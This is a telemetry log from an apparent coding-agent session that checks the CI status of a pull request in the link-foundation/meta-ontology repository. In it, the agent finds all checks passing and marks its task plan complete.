[INFO] \n[2026-07-12T04:11:02.392Z] [INFO] 2026-07-12T04:11:02.391989Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0A3w3iUcXbngChcnlv95AOzZ arguments=const r=await tools.exec_command({cmd:\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:11:02.392Z] [INFO]  duration_ms=2034 success=true output=Script completed\n[2026-07-12T04:11:02.392Z] [INFO] Wall time 2.0 seconds\n[2026-07-12T04:11:02.392Z] [INFO] Output:\n[2026-07-12T04:11:02.392Z] [INFO] \n[2026-07-12T04:11:02.392Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:11:02.392Z] [INFO] {\"checks\":[{\"conclusion\":\"SUCCESS\",\"name\":\"Detect Changes\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Version Modification Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Create Changelog PR\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Changelog Fragment Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Lint and Format Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Ontology Word Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Code Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (ubuntu-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (macos-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (windows-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Build Package\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Auto Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Instant Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Deploy Rust Documentation\",\"status\":\"COMPLETED\"}],\"headRefOid\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"isDraft\":false,\"mergeStateStatus\":\"CLEAN\",\"mergeable\":\"MERGEABLE\",\"title\":\"Document OpenMetadata best-practice adoption plan\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}\n[2026-07-12T04:11:02.392Z] [INFO] [{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:08:06Z\",\"databaseId\":29179259847,\"headSha\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\"},{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:01:59Z\",\"databaseId\":29179103369,\"headSha\":\"e4a**********************************43d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\"}]\n[2026-07-12T04:11:02.392Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:02.391Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.392Z] [INFO] 2026-07-12T04:11:02.392063Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0A3w3iUcXbngChcnlv95AOzZ duration_ms=2034 success=true arguments_length=586 output_length=1894 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:02.392Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.392Z] [INFO] 2026-07-12T04:11:02.392272Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_0A3w3iUcXbngChcnlv95AOzZ tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=2034 total_duration_ms=2035\n[2026-07-12T04:11:02.392Z] [INFO] \n[2026-07-12T04:11:02.445Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_59\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\\\"\",\"aggregated_output\":\"{\\\"checks\\\":[{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Detect Changes\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Version Modification Check\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Create Changelog PR\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Changelog Fragment Check\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Lint and Format Check\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Ontology Word Coverage\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Code Coverage\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Test (ubuntu-latest)\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Test (macos-latest)\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Test (windows-latest)\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Build Package\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Auto Release\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Instant Release\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Deploy Rust Documentation\\\",\\\"status\\\":\\\"COMPLETED\\\"}],\\\"headRefOid\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"isDraft\\\":false,\\\"mergeStateStatus\\\":\\\"CLEAN\\\",\\\"mergeable\\\":\\\"MERGEABLE\\\",\\\"title\\\":\\\"Document OpenMetadata best-practice adoption plan\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/6\\\"}\\n[{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-07-12T04:08:06Z\\\",\\\"databaseId\\\":29179259847,\\\"headSha\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"status\\\":\\\"completed\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-07-12T04:01:59Z\\\",\\\"databaseId\\\":29179103369,\\\"headSha\\\":\\\"e4a**********************************43d\\\",\\\"status\\\":\\\"completed\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:11:02.445Z] [INFO] \n[2026-07-12T04:11:02.527Z] [INFO] 2026-07-12T04:11:02.523878Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:11:02.527Z] [INFO] \n[2026-07-12T04:11:02.537Z] [INFO] 2026-07-12T04:11:02.535654Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:11:02.537Z] [INFO] \n[2026-07-12T04:11:02.598Z] [INFO] 2026-07-12T04:11:02.592263Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:11:02.598Z] [INFO] \n[2026-07-12T04:11:02.609Z] [INFO] 2026-07-12T04:11:02.603158Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:11:02.609Z] [INFO] \n[2026-07-12T04:11:02.618Z] [INFO] 2026-07-12T04:11:02.610218Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:11:02.618Z] [INFO] \n[2026-07-12T04:11:02.645Z] [INFO] 2026-07-12T04:11:02.643892Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:02.643Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.645Z] [INFO] 2026-07-12T04:11:02.643961Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:02.643Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.645Z] [INFO] 2026-07-12T04:11:02.643976Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:11:02.645Z] [INFO] \n[2026-07-12T04:11:02.713Z] [INFO] 2026-07-12T04:11:02.712541Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:11:02.713Z] [INFO] \n[2026-07-12T04:11:02.718Z] [INFO] 2026-07-12T04:11:02.712915Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:11:02 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"99d88c21-63be-4476-9e49-c5165fee4992\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=BTa7HVWHqHh9YY%2F1e8xBJZ3Kq%2Bj5zjRkpGAHDWrvObNN7r4wuXlRYWoO%2FZO0icMwYBp%2BMPT4Mhu53nZh%2B32mMlaczGWJ7PdTctdxRsfnNsUpxUhyGLcuYq61Rz%2Ff\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d339d891e360b-FRA\"} version=HTTP/1.1\n[2026-07-12T04:11:02.718Z] [INFO] \n[2026-07-12T04:11:04.342Z] [INFO] 2026-07-12T04:11:04.341778Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313d853e8819194623a0cc07caa13\"), status: Some(\"in_progress\"), call_id: \"call_L2oscVqc8bCgAh9jysHLi5la\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:11:04.342Z] [INFO] \n[2026-07-12T04:11:08.818Z] [INFO] 2026-07-12T04:11:08.815619Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.update_plan({explanation:\"Commit 4dcfb8e was pushed only to the prepared branch. PR 6 has a final title/description, is ready for review, is mergeable with CLEAN status, and the fresh CI run for the exact head SHA passed on Linux, macOS, and Windows along with lint, file-size, word-coverage, version, and package checks.\",\"plan\":[\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"completed\"}\n[2026-07-12T04:11:08.818Z] [INFO] ]}); text(r);\n[2026-07-12T04:11:08.818Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:11:08.818Z] [INFO] \n[2026-07-12T04:11:08.837Z] [INFO] 2026-07-12T04:11:08.837109Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313d6b33c8191af54bbd51be6c1ac\"\n[2026-07-12T04:11:08.837Z] [INFO] 2026-07-12T04:11:08.837163Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98694 output_token_count=244 cached_token_count=97024 reasoning_token_count=0 tool_token_count=98938 ttft_ms=1700 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:08.837Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.837Z] [INFO] 2026-07-12T04:11:08.837184Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98694 output_token_count=244 cached_token_count=97024 reasoning_token_count=0 tool_token_count=98938 ttft_ms=1700 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:08.837Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.837Z] [INFO] \n[2026-07-12T04:11:08.911Z] [INFO] 2026-07-12T04:11:08.909971Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-cd29649f-27db-4c79-ac91-2eb3ee9660ef arguments={\"explanation\":\"Commit 4dcfb8e was pushed only to the prepared branch. PR 6 has a final title/description, is ready for review, is mergeable with CLEAN status, and the fresh CI run for the exact head SHA passed on Linux, macOS, and Windows along with lint, file-size, word-coverage, version, and package checks.\",\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"completed\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"completed\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"completed\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"completed\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"completed\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"completed\"}]} duration_ms=0 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:08.909Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.911Z] [INFO] 2026-07-12T04:11:08.910023Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-cd29649f-27db-4c79-ac91-2eb3ee9660ef duration_ms=0 success=true arguments_length=968 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:08.910Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.911Z] [INFO] \n[2026-07-12T04:11:08.917Z] [INFO] {\"type\":\"item.updated\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":true},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":true},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":true}]}}\n[2026-07-12T04:11:08.917Z] [INFO] \n[2026-07-12T04:11:08.929Z] [INFO] 2026-07-12T04:11:08.928580Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_L2oscVqc8bCgAh9jysHLi5la arguments=const r=await tools.update_plan({explanation:\"Commit 4dcfb8e was pushed only to the prepared branch. PR 6 has a final title/description, is ready for review, is mergeable with CLEAN status, and the fresh CI run for the exact head SHA passed on Linux, macOS, and Windows along with lint, file-size, word-coverage, version, and package checks.\",\"plan\":[\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"completed\"}\n[2026-07-12T04:11:08.929Z] [INFO] ]}); text(r);\n[2026-07-12T04:11:08.929Z] [INFO]  duration_ms=81 success=true output=Script completed\n[2026-07-12T04:11:08.929Z] [INFO] Wall time 0.1 seconds\n[2026-07-12T04:11:08.929Z] [INFO] Output:\n[2026-07-12T04:11:08.929Z] [INFO] \n[2026-07-12T04:11:08.929Z] [INFO] {} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:08.928Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.929Z] [INFO] 2026-07-12T04:11:08.928631Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_L2oscVqc8bCgAh9jysHLi5la duration_ms=81 success=true arguments_length=999 output_length=50 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:08.928Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.929Z] [INFO] 2026-07-12T04:11:08.928718Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_L2oscVqc8bCgAh9jysHLi5la tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=82 total_duration_ms=82\n[2026-07-12T04:11:08.929Z] [INFO] \n[2026-07-12T04:11:09.019Z] [INFO] 2026-07-12T04:11:09.018936Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:11:09.019Z] [INFO] \n[2026-07-12T04:11:09.026Z] [INFO] 2026-07-12T04:11:09.026310Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" 